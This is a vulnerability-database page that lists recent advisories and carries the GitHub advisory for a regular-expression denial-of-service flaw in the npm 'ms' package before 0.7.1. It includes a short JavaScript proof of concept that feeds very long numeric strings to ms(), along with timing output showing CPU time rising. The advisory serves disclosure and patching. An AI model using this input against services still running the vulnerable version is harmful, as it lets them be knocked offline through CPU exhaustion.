Most recent entries from all

certfr-2022-avi-351 — De multiples vulnérabilités ont été découvertes dans les logiciels Juniper . Certaines d'entre elles permettent à un at…

certfr-2022-avi-351

cnvd-2016-02534

EUVD-2026-95598

fkie_cve-2015-8315

The ms package before 0.7.1 for Node.js allows attackers to cause a denial of service (CPU consumption) via a long version string, aka a "regular expression denial of service (ReDoS)."

GHSA-3fx5-fwvr-xrjg — Regular Expression Denial of Service in ms

Affected: npm: ms

Versions of `ms` prior to 0.7.1 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed.

## Proof of Concept ```javascript var ms = require('ms'); var genstr = function (len, chr) { var result = ""; for (i=0; i<=len; i++) { result = result + chr; }

return result; }

ms(genstr(process.argv[2], "5") + " minutea");

```

### Results Showing increase in execution time based on the input string. ``` $ time node ms.js 10000

real 0m0.758s user 0m0.724s sys 0m0.031s

$ time node ms.js 20000

real 0m2.580s user 0m2.494s sys 0m0.047s

$ time node ms.js 30000

real 0m5.747s user 0m5.483s sys 0m0.080s

$ time node ms.js 80000